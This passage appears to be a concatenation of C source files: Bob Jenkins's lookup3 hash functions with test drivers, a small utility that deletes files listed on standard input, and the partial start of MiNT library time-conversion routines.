seeds and return two 32-bit values. pc and pb must both be nonnull, and *pc and *pb must both be initialized with seeds. If you pass in (*pb)==0, the output (*pc) will be the same as the return value from hashword(). -------------------------------------------------------------------- */ void hashword2 ( const uint32_t *k, /* the key, an array of uint32_t values */ size_t length, /* the length of the key, in uint32_ts */ uint32_t *pc, /* IN: seed OUT: primary hash value */ uint32_t *pb) /* IN: more seed OUT: secondary hash value */ { uint32_t a,b,c; /* Set up the internal state */ a = b = c = 0xdeadbeef + ((uint32_t)(length<<2)) + *pc; c += *pb; /*------------------------------------------------- handle most of the key */ while (length > 3) { a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3; } /*------------------------------------------- handle the last 3 uint32_t's */ switch(length) /* all the case statements fall through */ { case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: /* case 0: nothing left to add */ break; } /*------------------------------------------------------ report the result */ *pc=c; *pb=b; } /* ------------------------------------------------------------------------------- hashlittle() -- hash a variable-length key into a 32-bit value k : the key (the unaligned variable-length array of bytes) length : the length of the key, counting by bytes initval : can be any 4-byte value Returns a 32-bit value. Every bit of the key affects every bit of the return value. Two keys differing by one or two bits will have totally different hash values. The best hash table sizes are powers of 2. There is no need to do mod a prime (mod is sooo slow!). If you need less than 32 bits, use a bitmask. For example, if you need only 10 bits, do h = (h & hashmask(10)); In which case, the hash table should have hashsize(10) elements. If you are hashing n strings (uint8_t **)k, do it like this: for (i=0, h=0; i<n; ++i) h = hashlittle( k[i], len[i], h); By Bob Jenkins, 2006. [email protected]. You may use this code any way you wish, private, educational, or commercial. It's free. Use for hash table lookup, or anything where one collision in 2^^32 is acceptable. Do NOT use for cryptographic purposes. ------------------------------------------------------------------------------- */ uint32_t hashlittle( const void *key, size_t length, uint32_t initval) { uint32_t a,b,c; /* internal state */ union { const void *ptr; size_t i; } u; /* needed for Mac Powerbook G4 */ /* Set up the internal state */ a = b = c = 0xdeadbeef + ((uint32_t)length) + initval; u.ptr = key; if (HASH_LITTLE_ENDIAN && ((u.i & 0x3) == 0)) { const uint32_t *k = (const uint32_t *)key; /* read 32-bit chunks */ const uint8_t *k8; /*------ all but last block: aligned reads and affect 32 bits of (a,b,c) */ while (length > 12) { a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 12; k += 3; } /*----------------------------- handle the last (probably partial) block */ /* * "k[2]&0xffffff" actually reads beyond the end of the string, but * then masks off the part it's not allowed to read. Because the * string is aligned, the masked-off tail is in the same word as the * rest of the string. Every machine with memory protection I've seen * does it on word boundaries, so is OK with this. But VALGRIND will * still catch it and complain. The masking trick does make the hash * noticably faster for short strings (like English words). */ #ifndef VALGRIND switch(length) { case 12: c+=k[2]; b+=k[1]; a+=k[0]; break; case 11: c+=k[2]&0xffffff; b+=k[1]; a+=k[0]; break; case 10: c+=k[2]&0xffff; b+=k[1]; a+=k[0]; break; case 9 : c+=k[2]&0xff; b+=k[1]; a+=k[0]; break; case 8 : b+=k[1]; a+=k[0]; break; case 7 : b+=k[1]&0xffffff; a+=k[0]; break; case 6 : b+=k[1]&0xffff; a+=k[0]; break; case 5 : b+=k[1]&0xff; a+=k[0]; break; case 4 : a+=k[0]; break; case 3 : a+=k[0]&0xffffff; break; case 2 : a+=k[0]&0xffff; break; case 1 : a+=k[0]&0xff; break; case 0 : return c; /* zero length strings require no mixing */ } #else /* make valgrind happy */ k8 = (const uint8_t *)k; switch(length) { case 12: c+=k[2]; b+=k[1]; a+=k[0]; break; case 11: c+=((uint32_t)k8[10])<<16; /* fall through */ case 10: c+=((uint32_t)k8[9])<<8; /* fall through */ case 9 : c+=k8[8]; /* fall through */ case 8 : b+=k[1]; a+=k[0]; break; case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */ case 6 : b+=((uint32_t)k8[5])<<8; /* fall through */ case 5 : b+=k8[4]; /* fall through */ case 4 : a+=k[0]; break; case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */ case 2 : a+=((uint32_t)k8[1])<<8; /* fall through */ case 1 : a+=k8[0]; break; case 0 : return c; } #endif /* !valgrind */ } else if (HASH_LITTLE_ENDIAN && ((u.i & 0x1) == 0)) { const uint16_t *k = (const uint16_t *)key; /* read 16-bit chunks */ const uint8_t *k8; /*--------------- all but last block: aligned reads and different mixing */ while (length > 12) { a += k[0] + (((uint32_t)k[1])<<16); b += k[2] + (((uint32_t)k[3])<<16); c += k[4] + (((uint32_t)k[5])<<16); mix(a,b,c); length -= 12; k += 6; } /*----------------------------- handle the last (probably partial) block */ k8 = (const uint8_t *)k; switch(length) { case 12: c+=k[4]+(((uint32_t)k[5])<<16); b+=k[2]+(((uint32_t)k[3])<<16); a+=k[0]+(((uint32_t)k[1])<<16); break; case 11: c+=((uint32_t)k8[10])<<16; /* fall through */ case 10: c+=k[4]; b+=k[2]+(((uint32_t)k[3])<<16); a+=k[0]+(((uint32_t)k[1])<<16); break; case 9 : c+=k8[8]; /* fall through */ case 8 : b+=k[2]+(((uint32_t)k[3])<<16); a+=k[0]+(((uint32_t)k[1])<<16); break; case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */ case 6 : b+=k[2]; a+=k[0]+(((uint32_t)k[1])<<16); break; case 5 : b+=k8[4]; /* fall through */ case 4 : a+=k[0]+(((uint32_t)k[1])<<16); break; case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */ case 2 : a+=k[0]; break; case 1 : a+=k8[0]; break; case 0 : return c; /* zero length requires no mixing */ } } else { /* need to read the key one byte at a time */ const uint8_t *k = (const uint8_t *)key; /*--------------- all but the last block: affect some 32 bits of (a,b,c) */ while (length > 12) { a += k[0]; a += ((uint32_t)k[1])<<8; a += ((uint32_t)k[2])<<16; a += ((uint32_t)k[3])<<24; b += k[4]; b += ((uint32_t)k[5])<<8; b += ((uint32_t)k[6])<<16; b += ((uint32_t)k[7])<<24; c += k[8]; c += ((uint32_t)k[9])<<8; c += ((uint32_t)k[10])<<16; c += ((uint32_t)k[11])<<24; mix(a,b,c); length -= 12; k += 12; } /*-------------------------------- last block: affect all 32 bits of (c) */ switch(length) /* all the case statements fall through */ { case 12: c+=((uint32_t)k[11])<<24; case 11: c+=((uint32_t)k[10])<<16; case 10: c+=((uint32_t)k[9])<<8; case 9 : c+=k[8]; case 8 : b+=((uint32_t)k[7])<<24; case 7 : b+=((uint32_t)k[6])<<16; case 6 : b+=((uint32_t)k[5])<<8; case 5 : b+=k[4]; case 4 : a+=((uint32_t)k[3])<<24; case 3 : a+=((uint32_t)k[2])<<16; case 2 : a+=((uint32_t)k[1])<<8; case 1 : a+=k[0]; break; case 0 : return c; } } final(a,b,c); return c; } /* * hashlittle2: return 2 32-bit hash values * * This is identical to hashlittle(), except it returns two 32-bit hash * values instead of just one. This is good enough for hash table * lookup with 2^^64 buckets, or if you want a second hash if you're not * happy with the first, or if you want a probably-unique 64-bit ID for * the key. *pc is better mixed than *pb, so use *pc first. If you want * a 64-bit value do something like "*pc + (((uint64_t)*pb)<<32)". */ void hashlittle2( const void *key, /* the key to hash */ size_t length, /* length of the key */ uint32_t *pc, /* IN: primary initval, OUT: primary hash */ uint32_t *pb) /* IN: secondary initval, OUT: secondary hash */ { uint32_t a,b,c; /* internal state */ union { const void *ptr; size_t i; } u; /* needed for Mac Powerbook G4 */ /* Set up the internal state */ a = b = c = 0xdeadbeef + ((uint32_t)length) + *pc; c += *pb; u.ptr = key; if (HASH_LITTLE_ENDIAN && ((u.i & 0x3) == 0)) { const uint32_t *k = (const uint32_t *)key; /* read 32-bit chunks */ const uint8_t *k8; /*------ all but last block: aligned reads and affect 32 bits of (a,b,c) */ while (length > 12) { a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 12; k += 3; } /*----------------------------- handle the last (probably partial) block */ /* * "k[2]&0xffffff" actually reads beyond the end of the string, but * then masks off the part it's not allowed to read. Because the * string is aligned, the masked-off tail is in the same word as the * rest of the string. Every machine with memory protection I've seen * does it on word boundaries, so is OK with this. But VALGRIND will * still catch it and complain. The masking trick does make the hash * noticably faster for short strings (like English words). */ #ifndef VALGRIND switch(length) { case 12: c+=k[2]; b+=k[1]; a+=k[0]; break; case 11: c+=k[2]&0xffffff; b+=k[1]; a+=k[0]; break; case 10: c+=k[2]&0xffff; b+=k[1]; a+=k[0]; break; case 9 : c+=k[2]&0xff; b+=k[1]; a+=k[0]; break; case 8 : b+=k[1]; a+=k[0]; break; case 7 : b+=k[1]&0xffffff; a+=k[0]; break; case 6 : b+=k[1]&0xffff; a+=k[0]; break; case 5 : b+=k[1]&0xff; a+=k[0]; break; case 4 : a+=k[0]; break; case 3 : a+=k[0]&0xffffff; break; case 2 : a+=k[0]&0xffff; break; case 1 : a+=k[0]&0xff; break; case 0 : *pc=c; *pb=b; return; /* zero length strings require no mixing */ } #else /* make valgrind happy */ k8 = (const uint8_t *)k; switch(length) { case 12: c+=k[2]; b+=k[1]; a+=k[0]; break; case 11: c+=((uint32_t)k8[10])<<16; /* fall through */ case 10: c+=((uint32_t)k8[9])<<8; /* fall through */ case 9 : c+=k8[8]; /* fall through */ case 8 : b+=k[1]; a+=k[0]; break; case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */ case 6 : b+=((uint32_t)k8[5])<<8; /* fall through */ case 5 : b+=k8[4]; /* fall through */ case 4 : a+=k[0]; break; case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */ case 2 : a+=((uint32_t)k8[1])<<8; /* fall through */ case 1 : a+=k8[0]; break; case 0 : *pc=c; *pb=b; return; /* zero length strings require no mixing */ } #endif /* !valgrind */ } else if (HASH_LITTLE_ENDIAN && ((u.i & 0x1) == 0)) { const uint16_t *k = (const uint16_t *)key; /* read 16-bit chunks */ const uint8_t *k8; /*--------------- all but last block: aligned reads and different mixing */ while (length > 12) { a += k[0] + (((uint32_t)k[1])<<16); b += k[2] + (((uint32_t)k[3])<<16); c += k[4] + (((uint32_t)k[5])<<16); mix(a,b,c); length -= 12; k += 6; } /*----------------------------- handle the last (probably partial) block */ k8 = (const uint8_t *)k; switch(length) { case 12: c+=k[4]+(((uint32_t)k[5])<<16); b+=k[2]+(((uint32_t)k[3])<<16); a+=k[0]+(((uint32_t)k[1])<<16); break; case 11: c+=((uint32_t)k8[10])<<16; /* fall through */ case 10: c+=k[4]; b+=k[2]+(((uint32_t)k[3])<<16); a+=k[0]+(((uint32_t)k[1])<<16); break; case 9 : c+=k8[8]; /* fall through */ case 8 : b+=k[2]+(((uint32_t)k[3])<<16); a+=k[0]+(((uint32_t)k[1])<<16); break; case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */ case 6 : b+=k[2]; a+=k[0]+(((uint32_t)k[1])<<16); break; case 5 : b+=k8[4]; /* fall through */ case 4 : a+=k[0]+(((uint32_t)k[1])<<16); break; case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */ case 2 : a+=k[0]; break; case 1 : a+=k8[0]; break; case 0 : *pc=c; *pb=b; return; /* zero length strings require no mixing */ } } else { /* need to read the key one byte at a time */ const uint8_t *k = (const uint8_t *)key; /*--------------- all but the last block: affect some 32 bits of (a,b,c) */ while (length > 12) { a += k[0]; a += ((uint32_t)k[1])<<8; a += ((uint32_t)k[2])<<16; a += ((uint32_t)k[3])<<24; b += k[4]; b += ((uint32_t)k[5])<<8; b += ((uint32_t)k[6])<<16; b += ((uint32_t)k[7])<<24; c += k[8]; c += ((uint32_t)k[9])<<8; c += ((uint32_t)k[10])<<16; c += ((uint32_t)k[11])<<24; mix(a,b,c); length -= 12; k += 12; } /*-------------------------------- last block: affect all 32 bits of (c) */ switch(length) /* all the case statements fall through */ { case 12: c+=((uint32_t)k[11])<<24; case 11: c+=((uint32_t)k[10])<<16; case 10: c+=((uint32_t)k[9])<<8; case 9 : c+=k[8]; case 8 : b+=((uint32_t)k[7])<<24; case 7 : b+=((uint32_t)k[6])<<16; case 6 : b+=((uint32_t)k[5])<<8; case 5 : b+=k[4]; case 4 : a+=((uint32_t)k[3])<<24; case 3 : a+=((uint32_t)k[2])<<16; case 2 : a+=((uint32_t)k[1])<<8; case 1 : a+=k[0]; break; case 0 : *pc=c; *pb=b; return; /* zero length strings require no mixing */ } } final(a,b,c); *pc=c; *pb=b; } /* * hashbig(): * This is the same as hashword() on big-endian machines. It is different * from hashlittle() on all machines. hashbig() takes advantage of * big-endian byte ordering. */ uint32_t hashbig( const void *key, size_t length, uint32_t initval) { uint32_t a,b,c; union { const void *ptr; size_t i; } u; /* to cast key to (size_t) happily */ /* Set up the internal state */ a = b = c = 0xdeadbeef + ((uint32_t)length) + initval; u.ptr = key; if (HASH_BIG_ENDIAN && ((u.i & 0x3) == 0)) { const uint32_t *k = (const uint32_t *)key; /* read 32-bit chunks */ const uint8_t *k8; /*------ all but last block: aligned reads and affect 32 bits of (a,b,c) */ while (length > 12) { a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 12; k += 3; } /*----------------------------- handle the last (probably partial) block */ /* * "k[2]<<8" actually reads beyond the end of the string, but * then shifts out the part it's not allowed to read. Because the * string is aligned, the illegal read is in the same word as the * rest of the string. Every machine with memory protection I've seen * does it on word boundaries, so is OK with this. But VALGRIND will * still catch it and complain. The masking trick does make the hash * noticably faster for short strings (like English words). */ #ifndef VALGRIND switch(length) { case 12: c+=k[2]; b+=k[1]; a+=k[0]; break; case 11: c+=k[2]&0xffffff00; b+=k[1]; a+=k[0]; break; case 10: c+=k[2]&0xffff0000; b+=k[1]; a+=k[0]; break; case 9 : c+=k[2]&0xff000000; b+=k[1]; a+=k[0]; break; case 8 : b+=k[1]; a+=k[0]; break; case 7 : b+=k[1]&0xffffff00; a+=k[0]; break; case 6 : b+=k[1]&0xffff0000; a+=k[0]; break; case 5 : b+=k[1]&0xff000000; a+=k[0]; break; case 4 : a+=k[0]; break; case 3 : a+=k[0]&0xffffff00; break; case 2 : a+=k[0]&0xffff0000; break; case 1 : a+=k[0]&0xff000000; break; case 0 : return c; /* zero length strings require no mixing */ } #else /* make valgrind happy */ k8 = (const uint8_t *)k; switch(length) /* all the case statements fall through */ { case 12: c+=k[2]; b+=k[1]; a+=k[0]; break; case 11: c+=((uint32_t)k8[10])<<8; /* fall through */ case 10: c+=((uint32_t)k8[9])<<16; /* fall through */ case 9 : c+=((uint32_t)k8[8])<<24; /* fall through */ case 8 : b+=k[1]; a+=k[0]; break; case 7 : b+=((uint32_t)k8[6])<<8; /* fall through */ case 6 : b+=((uint32_t)k8[5])<<16; /* fall through */ case 5 : b+=((uint32_t)k8[4])<<24; /* fall through */ case 4 : a+=k[0]; break; case 3 : a+=((uint32_t)k8[2])<<8; /* fall through */ case 2 : a+=((uint32_t)k8[1])<<16; /* fall through */ case 1 : a+=((uint32_t)k8[0])<<24; break; case 0 : return c; } #endif /* !VALGRIND */ } else { /* need to read the key one byte at a time */ const uint8_t *k = (const uint8_t *)key; /*--------------- all but the last block: affect some 32 bits of (a,b,c) */ while (length > 12) { a += ((uint32_t)k[0])<<24; a += ((uint32_t)k[1])<<16; a += ((uint32_t)k[2])<<8; a += ((uint32_t)k[3]); b += ((uint32_t)k[4])<<24; b += ((uint32_t)k[5])<<16; b += ((uint32_t)k[6])<<8; b += ((uint32_t)k[7]); c += ((uint32_t)k[8])<<24; c += ((uint32_t)k[9])<<16; c += ((uint32_t)k[10])<<8; c += ((uint32_t)k[11]); mix(a,b,c); length -= 12; k += 12; } /*-------------------------------- last block: affect all 32 bits of (c) */ switch(length) /* all the case statements fall through */ { case 12: c+=k[11]; case 11: c+=((uint32_t)k[10])<<8; case 10: c+=((uint32_t)k[9])<<16; case 9 : c+=((uint32_t)k[8])<<24; case 8 : b+=k[7]; case 7 : b+=((uint32_t)k[6])<<8; case 6 : b+=((uint32_t)k[5])<<16; case 5 : b+=((uint32_t)k[4])<<24; case 4 : a+=k[3]; case 3 : a+=((uint32_t)k[2])<<8; case 2 : a+=((uint32_t)k[1])<<16; case 1 : a+=((uint32_t)k[0])<<24; break; case 0 : return c; } } final(a,b,c); return c; } #ifdef SELF_TEST /* used for timings */ void driver1() { uint8_t buf[256]; uint32_t i; uint32_t h=0; time_t a,z; time(&a); for (i=0; i<256; ++i) buf[i] = 'x'; for (i=0; i<1; ++i) { h = hashlittle(&buf[0],1,h); } time(&z); if (z-a > 0) printf("time %d %.8x\n", z-a, h); } /* check that every input bit changes every output bit half the time */ #define HASHSTATE 1 #define HASHLEN 1 #define MAXPAIR 60 #define MAXLEN 70 void driver2() { uint8_t qa[MAXLEN+1], qb[MAXLEN+2], *a = &qa[0], *b = &qb[1]; uint32_t c[HASHSTATE], d[HASHSTATE], i=0, j=0, k, l, m=0, z; uint32_t e[HASHSTATE],f[HASHSTATE],g[HASHSTATE],h[HASHSTATE]; uint32_t x[HASHSTATE],y[HASHSTATE]; uint32_t hlen; printf("No more than %d trials should ever be needed \n",MAXPAIR/2); for (hlen=0; hlen < MAXLEN; ++hlen) { z=0; for (i=0; i<hlen; ++i) /*----------------------- for each input byte, */ { for (j=0; j<8; ++j) /*------------------------ for each input bit, */ { for (m=1; m<8; ++m) /*------------ for serveral possible initvals, */ { for (l=0; l<HASHSTATE; ++l) e[l]=f[l]=g[l]=h[l]=x[l]=y[l]=~((uint32_t)0); /*---- check that every output bit is affected by that input bit */ for (k=0; k<MAXPAIR; k+=2) { uint32_t finished=1; /* keys have one bit different */ for (l=0; l<hlen+1; ++l) {a[l] = b[l] = (uint8_t)0;} /* have a and b be two keys differing in only one bit */ a[i] ^= (k<<j); a[i] ^= (k>>(8-j)); c[0] = hashlittle(a, hlen, m); b[i] ^= ((k+1)<<j); b[i] ^= ((k+1)>>(8-j)); d[0] = hashlittle(b, hlen, m); /* check every bit is 1, 0, set, and not set at least once */ for (l=0; l<HASHSTATE; ++l) { e[l] &= (c[l]^d[l]); f[l] &= ~(c[l]^d[l]); g[l] &= c[l]; h[l] &= ~c[l]; x[l] &= d[l]; y[l] &= ~d[l]; if (e[l]|f[l]|g[l]|h[l]|x[l]|y[l]) finished=0; } if (finished) break; } if (k>z) z=k; if (k==MAXPAIR) { printf("Some bit didn't change: "); printf("%.8x %.8x %.8x %.8x %.8x %.8x ", e[0],f[0],g[0],h[0],x[0],y[0]); printf("i %d j %d m %d len %d\n", i, j, m, hlen); } if (z==MAXPAIR) goto done; } } } done: if (z < MAXPAIR) { printf("Mix success %2d bytes %2d initvals ",i,m); printf("required %d trials\n", z/2); } } printf("\n"); } /* Check for reading beyond the end of the buffer and alignment problems */ void driver3() { uint8_t buf[MAXLEN+20], *b; uint32_t len; uint8_t q[] = "This is the time for all good men to come to the aid of their country..."; uint32_t h; uint8_t qq[] = "xThis is the time for all good men to come to the aid of their country..."; uint32_t i; uint8_t qqq[] = "xxThis is the time for all good men to come to the aid of their country..."; uint32_t j; uint8_t qqqq[] = "xxxThis is the time for all good men to come to the aid of their country..."; uint32_t ref,x,y; uint8_t *p; printf("Endianness. These lines should all be the same (for values filled in):\n"); printf("%.8x %.8x %.8x\n", hashword((const uint32_t *)q, (sizeof(q)-1)/4, 13), hashword((const uint32_t *)q, (sizeof(q)-5)/4, 13), hashword((const uint32_t *)q, (sizeof(q)-9)/4, 13)); p = q; printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n", hashlittle(p, sizeof(q)-1, 13), hashlittle(p, sizeof(q)-2, 13), hashlittle(p, sizeof(q)-3, 13), hashlittle(p, sizeof(q)-4, 13), hashlittle(p, sizeof(q)-5, 13), hashlittle(p, sizeof(q)-6, 13), hashlittle(p, sizeof(q)-7, 13), hashlittle(p, sizeof(q)-8, 13), hashlittle(p, sizeof(q)-9, 13), hashlittle(p, sizeof(q)-10, 13), hashlittle(p, sizeof(q)-11, 13), hashlittle(p, sizeof(q)-12, 13)); p = &qq[1]; printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n", hashlittle(p, sizeof(q)-1, 13), hashlittle(p, sizeof(q)-2, 13), hashlittle(p, sizeof(q)-3, 13), hashlittle(p, sizeof(q)-4, 13), hashlittle(p, sizeof(q)-5, 13), hashlittle(p, sizeof(q)-6, 13), hashlittle(p, sizeof(q)-7, 13), hashlittle(p, sizeof(q)-8, 13), hashlittle(p, sizeof(q)-9, 13), hashlittle(p, sizeof(q)-10, 13), hashlittle(p, sizeof(q)-11, 13), hashlittle(p, sizeof(q)-12, 13)); p = &qqq[2]; printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n", hashlittle(p, sizeof(q)-1, 13), hashlittle(p, sizeof(q)-2, 13), hashlittle(p, sizeof(q)-3, 13), hashlittle(p, sizeof(q)-4, 13), hashlittle(p, sizeof(q)-5, 13), hashlittle(p, sizeof(q)-6, 13), hashlittle(p, sizeof(q)-7, 13), hashlittle(p, sizeof(q)-8, 13), hashlittle(p, sizeof(q)-9, 13), hashlittle(p, sizeof(q)-10, 13), hashlittle(p, sizeof(q)-11, 13), hashlittle(p, sizeof(q)-12, 13)); p = &qqqq[3]; printf("%.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x %.8x\n", hashlittle(p, sizeof(q)-1, 13), hashlittle(p, sizeof(q)-2, 13), hashlittle(p, sizeof(q)-3, 13), hashlittle(p, sizeof(q)-4, 13), hashlittle(p, sizeof(q)-5, 13), hashlittle(p, sizeof(q)-6, 13), hashlittle(p, sizeof(q)-7, 13), hashlittle(p, sizeof(q)-8, 13), hashlittle(p, sizeof(q)-9, 13), hashlittle(p, sizeof(q)-10, 13), hashlittle(p, sizeof(q)-11, 13), hashlittle(p, sizeof(q)-12, 13)); printf("\n"); /* check that hashlittle2 and hashlittle produce the same results */ i=47; j=0; hashlittle2(q, sizeof(q), &i, &j); if (hashlittle(q, sizeof(q), 47) != i) printf("hashlittle2 and hashlittle mismatch\n"); /* check that hashword2 and hashword produce the same results */ len = 0xdeadbeef; i=47, j=0; hashword2(&len, 1, &i, &j); if (hashword(&len, 1, 47) != i) printf("hashword2 and hashword mismatch %x %x\n", i, hashword(&len, 1, 47)); /* check hashlittle doesn't read before or after the ends of the string */ for (h=0, b=buf+1; h<8; ++h, ++b) { for (i=0; i<MAXLEN; ++i) { len = i; for (j=0; j<i; ++j) *(b+j)=0; /* these should all be equal */ ref = hashlittle(b, len, (uint32_t)1); *(b+i)=(uint8_t)~0; *(b-1)=(uint8_t)~0; x = hashlittle(b, len, (uint32_t)1); y = hashlittle(b, len, (uint32_t)1); if ((ref != x) || (ref != y)) { printf("alignment error: %.8x %.8x %.8x %d %d\n",ref,x,y, h, i); } } } } /* check for problems with nulls */ void driver4() { uint8_t buf[1]; uint32_t h,i,state[HASHSTATE]; buf[0] = ~0; for (i=0; i<HASHSTATE; ++i) state[i] = 1; printf("These should all be different\n"); for (i=0, h=0; i<8; ++i) { h = hashlittle(buf, 0, h); printf("%2ld 0-byte strings, hash is %.8x\n", i, h); } } void driver5() { uint32_t b,c; b=0, c=0, hashlittle2("", 0, &c, &b); printf("hash is %.8lx %.8lx\n", c, b); /* deadbeef deadbeef */ b=0xdeadbeef, c=0, hashlittle2("", 0, &c, &b); printf("hash is %.8lx %.8lx\n", c, b); /* bd5b7dde deadbeef */ b=0xdeadbeef, c=0xdeadbeef, hashlittle2("", 0, &c, &b); printf("hash is %.8lx %.8lx\n", c, b); /* 9c093ccd bd5b7dde */ b=0, c=0, hashlittle2("Four score and seven years ago", 30, &c, &b); printf("hash is %.8lx %.8lx\n", c, b); /* 17770551 ce7226e6 */ b=1, c=0, hashlittle2("Four score and seven years ago", 30, &c, &b); printf("hash is %.8lx %.8lx\n", c, b); /* e3607cae bd371de4 */ b=0, c=1, hashlittle2("Four score and seven years ago", 30, &c, &b); printf("hash is %.8lx %.8lx\n", c, b); /* cd628161 6cbea4b3 */ c = hashlittle("Four score and seven years ago", 30, 0); printf("hash is %.8lx\n", c); /* 17770551 */ c = hashlittle("Four score and seven years ago", 30, 1); printf("hash is %.8lx\n", c); /* cd628161 */ } int main() { driver1(); /* test that the key is hashed: used for timings */ driver2(); /* test that whole key is hashed thoroughly */ driver3(); /* test that nothing but the key is hashed */ driver4(); /* test hashing multiple buffers (all buffers are null) */ driver5(); /* test the hash against known vectors */ return 1; } #endif /* SELF_TEST */
the_stack_data/212642078.c
/* * rawrm.c * * Copyright 2004 by Anthony Howe. All rights reserved. * * usage: rawrm list-file */ #include <stdio.h> #include <stdlib.h> static char line[BUFSIZ]; long TextInputLine(FILE *fp, char *line, long size) { long i; for (i = 0, --size; i < size; ++i) { line[i] = (char) fgetc(fp); if (feof(fp) || ferror(fp)) return -1; if (line[i] == '\n') { line[i] = '\0'; if (0 < i && line[i-1] == '\r') line[--i] = '\0'; break; } } line[i] = '\0'; return i; } int main(int argc, char **argv) { long length; if (argc != 1) { fprintf(stderr, "usage: rawrm <file-list\n"); return 2; } while (0 <= (length = TextInputLine(stdin, line, sizeof (line)))) { if (length != 0 && unlink(line)) fprintf(stdout, "%s not removed\n", line); } return 0; }
the_stack_data/551106.c
/* from the MiNT library */ /* mktime, localtime, gmtime */ /* written by Eric R. Smith and placed in the public domain */ #include <stdio.h> #include <stddef.h> #include <stdlib.h> #include <time.h> #include <ctype.h> #if defined(__linux__) struct TLS { struct tm time_temp; } foo; struct TLS *_TLS = &foo; #else #include <sys/thread.h> #endif #define toint(c) ((c)-'0') #if 0 #include <stdio.h> static void DEBUG_TM(const char *nm, struct tm *tm) { char buf[100]; (void)strftime(buf, 100, "%c %z", tm); printf("%s: %s\n", nm, buf); } #else #define DEBUG_TM(nm, tm) #endif #define SECS_PER_MIN (60L) #define SECS_PER_HOUR (3600L) #define SECS_PER_DAY (86400L) #define SECS_PER_YEAR (31536000L) #define SECS_PER_LEAP_YEAR (31536000L + SECS_PER_DAY) #define SECS_PER_FOUR_YEARS (4*SECS_PER_YEAR + SECS_PER_DAY) #define START_OF_2012 (1325376000UL) #define START_OF_2100 (4102444800UL) int _timezone = -1; /* holds # seconds west of GMT */ static int days_per_mth[12] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }; static int mth_start[13] = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 }; static time_t tzoffset(char *s, int *hasdst); static int indst(const struct tm *t); static int dst = -1; /* whether dst holds in current timezone */ /* * FIXME: none of these routines is very efficient. Also, none of them * handle dates before Jan 1, 1970. * */ int _is_leap_year(int y) { if ( (0 == y % 4) ) { if (0 == y % 100) return (0 == y % 400); return 1; } return 0; } /* * mktime: take a time structure representing the local time (such as is * returned by localtime() and convert it into the standard representation * (as seconds since midnight Jan. 1 1970, GMT). * * Note that time() sends us such a structure with tm_yday and tm_wday * undefined, so we shouldn't count on these being correct! */ time_t mktime(struct tm *t) { time_t s; int yday; /* day of the year */ int year; /* full year */ int leaps; DEBUG_TM("mktime", t); if (t->tm_year < 70) /* year before 1970 */ return (time_t) -1; /* calculate tm_yday here */ year = 1900 + t->tm_year; yday = (t->tm_mday - 1) + mth_start[t->tm_mon] + /* leap year correction */ ( (_is_leap_year(year) ) ? (t->tm_mon > 1) : 0 ); s = (t->tm_sec)+(t->tm_min*SECS_PER_MIN)+(t->tm_hour*SECS_PER_HOUR) + (yday*SECS_PER_DAY)+((year - 1970)*SECS_PER_YEAR); /* add in the number of leap years since 1970 */ /* note that 2000 is a leap year, but 2100, 2200, and 2300 are not */ leaps = (year - 1969)/4; if (year > 2000) { leaps -= (year - 2000)/100; } s += leaps*SECS_PER_DAY; /* Now adjust for the time zone and possible daylight savings time */ /* note that we have to call tzset() every time; see 1003.1 sect 8.1.1 */ _tzset(); s += _timezone; if (dst == 1 && indst(t)) s -= SECS_PER_HOUR; return s; } struct tm *_gmtime_r(const time_t *t, struct tm *stm) { time_t time = *t; int year, mday, i; time_t yearlen; stm->tm_wday = (int) (((time/SECS_PER_DAY) + 4) % 7); if (time >= START_OF_2012) { time -= START_OF_2012; year = 2012; } else { year = 1970; } for(;;) { if (_is_leap_year(year)) yearlen = SECS_PER_LEAP_YEAR; else yearlen = SECS_PER_YEAR; if (time < yearlen) break; year++; time -= yearlen; } /* at this point we should have the seconds left in the year */ stm->tm_year = year - 1900; mday = stm->tm_yday = (int)(time/SECS_PER_DAY); days_per_mth[1] = _is_leap_year(year) ? 29 : 28; for (i = 0; mday >= days_per_mth[i]; i++) mday -= days_per_mth[i]; stm->tm_mon = i; stm->tm_mday = mday + 1; time = time % SECS_PER_DAY; stm->tm_hour = (int) (time/SECS_PER_HOUR); time = time % SECS_PER_HOUR; stm->tm_min = (int) (time/SECS_PER_MIN); stm->tm_sec = (int) (time % SECS_PER_MIN); stm->tm_isdst = 0; DEBUG_TM("gmtime", stm); return stm; } /* given a standard time, convert it to a local time */ struct tm *_localtime_r(const time_t *t, struct tm *stm) { time_t gmsecs; /*time in GMT */ _tzset(); gmsecs = *t; if (gmsecs > _timezone) gmsecs = gmsecs - _timezone; stm = _gmtime_r(&gmsecs, stm); stm->tm_isdst = (dst == -1) ? -1 : 0; if (dst == 1 && indst((const struct tm *)stm)) { /* daylight savings time in effect */ stm->tm_isdst = 1; if (++stm->tm_hour > 23) { stm->tm_hour -= 24; stm->tm_wday = (stm->tm_wday + 1) % 7; stm->tm_yday++; stm->tm_mday++; if (stm->tm_mday > days_per_mth[stm->tm_mon]) { stm->tm_mday = 1; stm->tm_mon++; } } } DEBUG_TM("localtime", stm); return stm; } struct tm *localtime(const time_t *t) { return _localtime_r(t, &_TLS->time_temp); } struct tm *gmtime(const time_t *t) { return _gmtime_r(t, &_TLS->time_temp); } /* * there appears to be a conflict between Posix and ANSI; the former * mandates a "tzset()" function that gets called whenever time() * does, and which sets some global 